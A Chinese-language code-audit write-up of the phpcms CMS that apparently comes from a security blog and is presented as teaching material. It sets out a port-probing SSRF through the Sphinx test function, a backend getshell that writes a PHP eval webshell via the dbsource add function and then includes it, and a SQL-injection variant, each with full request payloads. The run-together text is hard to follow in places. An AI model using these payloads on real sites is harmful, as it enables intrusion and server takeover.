时间:2023-08-05 01:54:02 | 来源:网站运营
时间:2023-08-05 01:54:02 来源:网站运营
代码审计-phpcms:一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚
api下存放api接口文件
caches下存放缓存、备份文件等等,
html下是空的暂时不提
phpcms下存放大部分的模块、模板、插件等等,
phpsso_server是一个安装过程选择的功能,暂时不管,
static下存放各种css,js静态文件
uploadfile顾名思义存放上传的文件。
getdefinedconstant函数将所有常量打印出来,然后用哪个查哪个)autoloadfunc() pc_base类,然后通读一下这个类的各种函数loadsys_func函数,找到函数定义位置,global传参到$funcloadfunc函数,global传参到$func$path=libs/functions/global.func.php extention.func.php,结果是自定义函数库没东西autoloadfunc()定义位置,autoload_func libs/functions/autoload/下的所有.func.php文件,找到文件通读代码。creat_app()函数loadsysclass函数传入参数application loadclass函数phpcms/libs/classes/application.class.php文件$classes[$key] = new $name; $name传参是applicationphpcms/libs/classes/application.class.php appliaction __construct()魔术方法loadsysclass加载了param.class.php参数处理类文件,m是模型,c是控制器,a是事件 application类中定义为三个常量,并使用init()进行初始化phpcms/modules/目录下的模块,也就是文件夹index.php?m=admin&c=database&a=export phpcms/modules/下的函数就可以轻松利用了phpcms/modules/search/searchadmin.php文件内有个publictest_sphinx()函数fsockopen()函数,用来打开一个网络连接或者一个Unix套接字连接 ,post传入的sphinxhost和sphinxport没有进行过滤http://192.168.1.1/index.php?m=search&c=search_admin&a=public_test_sphinxpost:sphinxhost=127.0.0.1&sphinxport=3306经测试,当内网端口存在时返回1phpcms/modules/dbsource/data.php文件里有个add()函数fileputcontent()函数,将$str写入caches/caches_template/dbsource/$id.php文件当中name,type,dis_type,cache,num都由上面post传入,dis_type=3后面有用192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKRpost:dosubmit=1&name=666&dis_type=3&type=1&data=select 1&template=<?php @eval($_GET[xg]);?>&num=1&cache=2这里测试发现需要登录后台,那就算个后台getshell了,登录后台给了个pc_hash=saLcKRcaches/caches_template/dbsource/下发现多了个文件39.php,成功写入了一句话木马。template_url()函数构造了我们需要被引用的路径phpcms/modules/dbsource/call.php的_format函数中使用了此方法$type为3时,65行进行文件包含。既然文件包含出来了,说明可以利用private定义,所以只能在此文件内搜索get()函数的39行发现使用的_format()函数192.168.1.1/index.php?m=dbsource&c=call&a=get&id=39&xg=phpinfo();起飞phpcms/modules/dbsource/data.php文件add()函数里192.168.1.1/index.php?m=dbsource&c=data&a=add&pc_hash=saLcKRpost:dosubmit=1&name=667&dis_type=3&type=1&data=select 1 and updatexml(1,concat(1,user(),0x7e,database(),0x7e,version()),1)&template=<?php @eval($_GET[xg]);?>&num=1&cache=2发现依旧在caches/caches_template/dbsource/下生成了40.php192.168.1.1/index.php?m=dbsource&c=call&a=get&id=40起飞关键词: